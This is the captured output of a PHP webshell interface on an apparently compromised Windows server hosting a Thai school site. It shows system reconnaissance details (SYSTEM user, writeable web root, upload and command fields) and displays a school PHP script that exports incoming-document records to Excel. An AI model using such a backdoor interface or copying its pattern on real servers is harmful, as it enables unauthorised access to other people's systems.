403Webshell
Server IP : 172.67.187.206  /  Your IP : 172.71.28.155
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Inetpub/www/myschool/laokhwan/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Inetpub/www/myschool/laokhwan/tabainrubmonth1.php
<?
header("Content-type: application/vnd.ms-excel");
// header('Content-type: application/csv'); //*** CSV ***//
header("Content-Disposition: attachment; filename=1.xls");
?>
<?
 include "mainfile.php";
?>
<br>
<table width="100%"   border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="#999999" bordercolordark="#FFFFFF">
	<tr height=25 bgcolor="#009900">
<?
$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
$strSQL = "SELECT * FROM ".TB_TKK2." where date(from_unixtime(post_date)) like '____-01-__' ";
$objQuery = mysql_query($strSQL) or die ("Error Query [".$strSQL."]");
$Num_Rows = mysql_num_rows($objQuery);


$strSQL .=" ORDER BY post_date asc ";
$objQuery  = mysql_query($strSQL);
?>

		<td width="5%" class="unnamed1"><font color="#FFFFFF"><div align="center" class="style3"><B>เลขรับ</B></div></font></td>
		<td width="15%" class="unnamed1"><font color="#FFFFFF"><div align="center" class="style3"><B>เลขหนังสือ</B></div></font></td>
		<td class="unnamed2"><font color="#FFFFFF"><div align="center" class="style3"><B>เรื่อง</B></div></font></td>
		<td width="10%" class="unnamed2"><font color="#FFFFFF"><div align="center" class="style3"><B>วัน-เดือน-ปี</B></div></font></td>
		<td width="25%" class="unnamed2"><font color="#FFFFFF"><div align="center" class="style3"><B>จาก</B></div></font></td>
		<td width="10%" class="unnamed2"><font color="#FFFFFF"><div align="center" class="style3"><B>ถึง</B></div></font></td>
	</tr>
<?
$i=1;
while($objResult = mysql_fetch_array($objQuery))
{

  if ($i%2==0) 
{
	?><tr height=25 bgcolor="#FFFFC6" class="unnamed1"><?
} else {
	?><tr height=25 bgcolor="ffffff" class="unnamed1"><?
} ?>    
	<td class="unnamed2"><div align="left">&nbsp;<?echo thainumDigit("$objResult[id]"); ?></div></td>
	<td class="unnamed2"><div align="left">&nbsp;<?echo thainumDigit("$objResult[tabain]"); ?></div></td>
	<td class="unnamed2"><div align="left"><A HREF="popup.php?name=tkk2&file=readtkk2&id=<? echo"$objResult[id]"; ?> " onclick="return hs.htmlExpand(this, { contentId: 'highslide-html', objectType: 'iframe', objectWidth: 800, objectHeight: 600} )" class="highslide">&nbsp;<?echo thainumDigit("$objResult[topic]"); ?></A>
</div></td>
	</td><td class="unnamed2"><div align="center"><?echo thainumDigit(thai_date_fullmonth(strtotime("$objResult[date]")));?></div></td>
	<td class="unnamed2"><div align="left">&nbsp;<? echo thainumDigit("$objResult[school]"); ?></div></td>
	<td class="unnamed2"><div align="left">&nbsp; <?=thainumDigit(WEB_AREA);?> </div></td>
  </tr>
<?
	$i++;
}
?>
</table>	
		<table width="100%"   border="0" align="center" c bordercolor="#999999" bordercolordark="#FFFFFF">
		<tr height=25>
		<td>
		</B>
			</td>
			</tr>
			</table>	
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit